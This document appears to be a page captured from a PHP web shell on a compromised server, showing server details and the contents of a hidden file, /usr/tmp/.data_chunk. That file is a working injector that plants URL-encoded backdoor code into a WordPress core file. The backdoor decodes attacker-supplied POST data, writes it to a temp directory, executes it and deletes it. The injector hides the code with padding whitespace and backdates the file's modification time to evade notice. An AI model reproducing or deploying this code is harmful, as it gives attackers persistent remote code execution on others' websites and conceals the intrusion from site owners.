HEX
Server: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.mediaphic.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: jolievil (1372)
PHP: 7.3.33
Disabled: exec,passthru,shell_exec,system,show_source,mail,sendmail,popen,symlink,phpinfo
Upload Files
File: //usr/tmp/.data_chunk
<?php  $path = '/home/sfcconst/public_html/wp-includes/ID3/module.audio.flac.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22%5Cx70tr%22%29%29%7B%20%24dat%20%3D%20%24_REQUEST%5B%22%5Cx70tr%22%5D%3B%20%24dat%3D%20explode%20%28%20%27.%27%20%2C%20%24dat%29%20%3B%20%24token%20%3D%20%27%27%3B%20%24s5%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24s5%29%3B%20%24__len%20%3D%20count%28%24dat%29%3B%20for%20%28%24n%20%3D%200%3B%20%24n%3C%20%24__len%3B%20%24n%2B%2B%29%20%7B%20%24v7%20%3D%20%24dat%5B%24n%5D%3B%20%24sChar%20%3D%20ord%28%24s5%5B%24n%20%25%20%24sLen%5D%29%3B%20%24d%20%3D%20%28%28int%29%24v7%20-%20%24sChar%20-%20%28%24n%20%25%2010%29%29%5E%2018%3B%20%24token%20.%3D%20chr%28%24d%29%3B%20%7D%20%24data_chunk%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20foreach%20%28%24data_chunk%20as%20%24key%29%20%7B%20if%20%28%28bool%29is_dir%28%24key%29%20%26%26%20%28bool%29is_writable%28%24key%29%29%20%7B%20%24data%20%3D%20str_replace%28%22%7Bvar_dir%7D%22%2C%20%24key%2C%20%22%7Bvar_dir%7D/.fac%22%29%3B%20if%20%28file_put_contents%28%24data%2C%20%24token%29%29%20%7B%20include%20%24data%3B%20%40unlink%28%24data%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         // +10s: opcache sees a newer mtime; date stays close to original         @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!');